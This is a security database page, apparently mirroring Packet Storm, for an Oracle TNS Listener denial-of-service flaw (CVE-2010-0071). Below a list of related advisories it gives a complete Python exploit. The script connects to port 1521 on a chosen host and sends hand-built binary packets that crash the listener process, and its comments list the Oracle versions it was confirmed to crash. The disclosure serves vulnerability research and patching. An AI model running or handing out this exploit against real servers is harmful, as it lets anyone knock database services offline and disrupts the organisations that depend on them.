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Oracle TNS Listener Denial Of Service

🗓️ 22 Jan 2010 00:00:00Reported by Dennis YurichevType 
packetstorm
 packetstorm🔗 packetstormsecurity.com👁 41 Views

Oracle TNS Listener Denial Of Service exploi

Related
Code
ReporterTitlePublishedViews
Family
Circl		CVE-2010-0071
12 Jan 201000:00
–circl
CVE		CVE-2010-0071
13 Jan 201001:00
–cve
Cvelist		CVE-2010-0071
13 Jan 201001:00
–cvelist
Exploit DB		Oracle Database - Remote Listener Memory Corruption
12 Jan 201000:00
–exploitdb
exploitpack		Oracle Database - Remote Listener Memory Corruption
12 Jan 201000:00
–exploitpack
NVD		CVE-2010-0071
13 Jan 201001:30
–nvd
Oracle		Oracle Critical Patch Update Advisory - January 2010
12 Jan 201000:00
–oracle
Oracle		Security | Oracle Critical Patch Update - January 2010
12 Jan 201000:00
–oracle
Tenable Nessus		Oracle Database Multiple Vulnerabilities (January 2010 CPU)
26 Apr 201000:00
–nessus
Prion		Design/Logic Flaw
13 Jan 201001:30
–prion
Rows per page
`# TNS Listener (Oracle RDBMS) exploit, cause Listener process crash  
  
# While running on 11.1.0.7.0 win32, nsglvcrt() Listener function attempt  
# to allocate huge memory block and copy *something* to it.  
  
# TID=3052|(1) MSVCR71.dll!malloc (0x4222fc5) (called from 0x438631 (TNSLSNR.EXE!nsglvcrt+0x95))  
# TID=3052|(1) MSVCR71.dll!malloc -> 0x2530020  
# TID=3052|(0) TNSLSNR.EXE!__intel_fast_memcpy (0x2530020, 0, 0x4222fc4) (called from 0x438647 (TNSLSNR.EXE!nsglvcrt+0xab))  
  
# (addresses are for TNS Listener 11.1.0.7.0 win32 unpatched)  
# If I correct, nsglvcrt() function is involved in new service creation.  
  
# Successfully crashed:  
# Oracle RDBMS 11.1.0.6.0 win32 with CPUapr2009 applied  
# Oracle RDBMS 11.1.0.7.0 win32 with CPUapr2009 applied  
# Oracle RDBMS 10.2.0.4 win32 with CPUapr2009 applied  
# Oracle RDBMS 10.2.0.2 Linux x86  
# Not crashed:  
# Oracle RDBMS 11.2 Linux x86  
  
# Vulnerability discovered by Dennis Yurichev <[email protected]>  
  
# Fixed in CPUjan2010 as CVE-2010-0071 (CVSS 10.0):  
# http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2010.html  
  
from sys import *  
from socket import *  
  
sockobj = socket(AF_INET, SOCK_STREAM)  
  
sockobj.connect ((argv[1], 1521))  
  
sockobj.send(  
"\x00\x68\x00\x00\x01\x00\x00\x00"  
"\x01\x3A\x01\x2C\x00\x00\x20\x00"  
"\x7F\xFF\xC6\x0E\x00\x00\x01\x00"  
"\x00\x2E\x00\x3A\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x28\x43\x4F\x4E\x4E\x45"  
"\x43\x54\x5F\x44\x41\x54\x41\x3D"  
"\x28\x43\x4F\x4D\x4D\x41\x4E\x44"  
"\x3D\x73\x65\x72\x76\x69\x63\x65"  
"\x5F\x72\x65\x67\x69\x73\x74\x65"  
"\x72\x5F\x4E\x53\x47\x52\x29\x29"  
)  
  
data=sockobj.recv(102400)  
  
sockobj.send(  
"\x02\xDE\x00\x00\x06\x00\x00\x00"  
"\x00\x00\x00\x00\x02\xD4\x20\x08"  
"\xFF\x03\x01\x00\x12\x34\x34\x34"  
"\x34\x34\x78\x10\x10\x32\x10\x32"  
"\x10\x32\x10\x32\x10\x32\x54\x76"  
"\x00\x78\x10\x32\x54\x76\x44\x00"  
"\x00\x80\x02\x00\x00\x00\x00\x04"  
"\x00\x00\x70\xE4\xA5\x09\x90\x00"  
"\x23\x00\x00\x00\x42\x45\x43\x37"  
"\x36\x43\x32\x43\x43\x31\x33\x36"  
"\x2D\x35\x46\x39\x46\x2D\x45\x30"  
"\x33\x34\x2D\x30\x30\x30\x33\x42"  
"\x41\x31\x33\x37\x34\x42\x33\x03"  
"\x00\x65\x00\x01\x00\x01\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x64\x02"  
"\x00\x80\x05\x00\x00\x00\x00\x04"  
"\x00\x00\x00\x00\x00\x00\x01\x00"  
"\x00\x00\x10\x00\x00\x00\x02\x00"  
"\x00\x00\x84\xC3\xCC\x07\x01\x00"  
"\x00\x00\x84\x2F\xA6\x09\x00\x00"  
"\x00\x00\x44\xA5\xA2\x09\x25\x98"  
"\x18\xE9\x28\x50\x4F\x28\xBB\xAC"  
"\x15\x56\x8E\x68\x1D\x6D\x05\x00"  
"\x00\x00\xFC\xA9\x36\x22\x0F\x00"  
"\x00\x00\x60\x30\xA6\x09\x0A\x00"  
"\x00\x00\x64\x00\x00\x00\x00\x00"  
"\x00\x00\xAA\x00\x00\x00\x00\x01"  
"\x00\x00\x17\x00\x00\x00\x78\xC3"  
"\xCC\x07\x6F\x72\x63\x6C\x00\x28"  
"\x48\x4F\x53\x54\x3D\x77\x69\x6E"  
"\x32\x30\x30\x33\x29\x00\x01\x00"  
"\x00\x00\x58\x00\x00\x00\x01\x00"  
"\x00\x00\x50\xC5\x2F\x22\x02\x00"  
"\x00\x00\x34\xC5\x2F\x22\x00\x00"  
"\x00\x00\x9C\xC5\xCC\x07\x6F\x72"  
"\x63\x6C\x5F\x58\x50\x54\x00\x09"  
"\x00\x00\x00\x50\xC5\x2F\x22\x04"  
"\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x34"  
"\xC5\xCC\x07\x6F\x72\x63\x6C\x5F"  
"\x58\x50\x54\x00\x01\x00\x00\x00"  
"\x05\x00\x00\x00\x01\x00\x00\x00"  
"\x84\xC5\x2F\x22\x02\x00\x00\x00"  
"\x68\xC5\x2F\x22\x00\x00\x00\x00"  
"\xA4\xA5\xA2\x09\x6F\x72\x63\x6C"  
"\x00\x05\x00\x00\x00\x84\xC5\x2F"  
"\x22\x04\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\xFC\xC4\xCC\x07\x6F\x72\x63"  
"\x6C\x00\x01\x00\x00\x00\x10\x00"  
"\x00\x00\x02\x00\x00\x00\xBC\xC3"  
"\xCC\x07\x04\x00\x00\x00\xB0\x2F"  
"\xA6\x09\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x89\xC0\xB1\xC3\x08\x1D"  
"\x46\x6D\xB6\xCF\xD1\xDD\x2C\xA7"  
"\x66\x6D\x0A\x00\x00\x00\x78\x2B"  
"\xBC\x04\x7F\x00\x00\x00\x64\xA7"  
"\xA2\x09\x0D\x00\x00\x00\x20\x2C"  
"\xBC\x04\x11\x00\x00\x00\x95\x00"  
"\x00\x00\x02\x20\x00\x80\x03\x00"  
"\x00\x00\x98\xC5\x2F\x22\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x0A\x00"  
"\x00\x00\xB0\xC3\xCC\x07\x44\x45"  
"\x44\x49\x43\x41\x54\x45\x44\x00"  
"\x28\x41\x44\x44\x52\x45\x53\x53"  
"\x3D\x28\x50\x52\x4F\x54\x4F\x43"  
"\x4F\x4C\x3D\x42\x45\x51\x29\x28"  
"\x50\x52\x4F\x47\x52\x41\x4D\x3D"  
"\x43\x3A\x5C\x61\x70\x70\x5C\x41"  
"\x64\x6D\x69\x6E\x69\x73\x74\x72"  
"\x61\x74\x6F\x72\x5C\x70\x72\x6F"  
"\x64\x75\x63\x74\x5C\x31\x31\x2E"  
"\x31\x2E\x30\x5C\x64\x62\x5F\x31"  
"\x5C\x62\x69\x6E\x5C\x6F\x72\x61"  
"\x63\x6C\x65\x2E\x65\x78\x65\x29"  
"\x28\x41\x52\x47\x56\x30\x3D\x6F"  
"\x72\x61\x63\x6C\x65\x6F\x72\x63"  
"\x6C\x29\x28\x41\x52\x47\x53\x3D"  
"\x27\x28\x4C\x4F\x43\x41\x4C\x3D"  
"\x4E\x4F\x29\x27\x29\x29\x00\x4C"  
"\x4F\x43\x41\x4C\x20\x53\x45\x52"  
"\x56\x45\x52\x00\x68\xC5\x2F\x22"  
"\x34\xC5\x2F\x22\x00\x00\x00\x00"  
"\x05\x00\x00\x00\x84\xC5\x2F\x22"  
"\x04\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00"  
"\xFC\xC4\xCC\x07\x6F\x72\x63\x6C"  
"\x00\x09\x00\x00\x00\x50\xC5\x2F"  
"\x22\x04\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x34\xC5\xCC\x07\x6F\x72\x63"  
"\x6C\x5F\x58\x50\x54\x00"   
)  
  
sockobj.close()  
  
`

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22 Jan 2010 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.12519
oracle rdbmstns listenerdenial of servicevulnerabilitycve-2010-0071cpujan2010oracle cpuapr2009
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